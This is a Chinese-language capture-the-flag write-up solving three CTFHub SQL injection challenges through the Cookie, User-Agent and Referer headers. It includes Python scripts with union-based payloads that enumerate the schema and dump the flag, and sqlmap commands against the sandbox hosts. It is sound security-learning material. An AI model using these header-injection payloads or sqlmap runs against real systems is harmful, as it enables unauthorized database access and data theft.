背景
我们一般做sql注入的时候,注入点一般都是一个文本框,然后我们可以通过输入某种特殊的语句来获得数据库中的信息,但是有时候这种注入点可不一定给你一个文本框,而可能在请求包中的其他地方。
接下来我分享一下CTFHUB中的三道题,它们的注入点分别是请求包中的Cookie、User-Agent和Referer。它们只是注入点不同,基于的的注入方式都是最基本的union联合注入。所以它们的payload都十分简单和相似。
在这次做题过程中,我还尝试了强大的sqlmap,成功得到了一些结果。
SQL注入——Cookie注入
Cookie注入界面一般不会给你输入框,类似这道题目。
它的注入点存在于Cookie之中。这是Burp抓包的结果。
那就很简单了,我们还是利用那个强大的插件,Copy as requests,把请求转化为python中的request代码。之后改一下id的值就行。因为这道题是有回显的,所以用最基本的联合注入即可,要是Cookie配合上时间盲注就有意思了2333。
import requests
# id = "1 and 1=2 union select database(), 1" #爆库
# id = "1 and 1=2 union select group_concat(table_name), 1 from information_schema.tables where table_schema = 'sqli'" #爆表
# id = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name = 'fwtzeovuem'" #爆字段
id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag
burp0_url = "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800/"
burp0_cookies = {"id": id, "hint": "id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"}
print(requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text)
因为这道题比较简单,我还试了一下sqlmap
。这次总算不是日常坚不可摧
了。成功得到了flag。
python3 sqlmap.py -u "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D sqli -T fwtzeovuem -C rzahbuabdf --dump
SQL注入——UA注入
UA注入和Cookie类似,只是换了个注入位置。基于的还是最基础的Union注入。
import requests
burp0_url = "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/"
# UA = "1 and 1=2 union select 1, database()"
# UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'"
# UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cqomjcukck'"
UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck"
burp0_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url, headers=burp0_headers).text)
照例,还是试了一下sqlmap,我才发现sqlmap原来这么好用。
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3
只是设置了level为3,其他什么都不给。结果一上来就提示UA是动态的,可注入。
它提示在UA这个参数这里有两种可能的注入,一种是时间盲注,一种是union联合注入,还都出了payload。
这确实非常强。为什么这里时间盲注也可以呢?这相当于不看页面的回显,直接用响应时间来判断,这么想来是不是大部分的sql注入都适合时间盲注2333。
当然自己注入的话,肯定会选择十分简单的union联合注入。
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcukck --columns
而且sqlmap有一个非常牛逼的点,它每次运行完都会把该网站的结果存在某个文件中,下次深入获得信息的时候会直接从文件中读取之前取得的成果,而不用从头开始,这大大提高了效率。
SQL注入——Refer注入
和Cookie注入和UA注入类似,不多说了,只是换了一个地方。
import requests
burp0_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/"
# referer = "1 and 1=2 union select 1, database()"
# referer = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'"
# referer = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'sngrgwaxpk'"
referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Referer": referer}
print(requests.get(burp0_url, headers=burp0_headers).text)
这道题貌似sqlmap就不太好使了。
python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3
它发现了Referer是脆弱的,但是只检查出了时间盲注,没有检查出union注入。之后的时间盲注也一直失败。
当然也可能是我在中途选则选项的时候没有选好2333。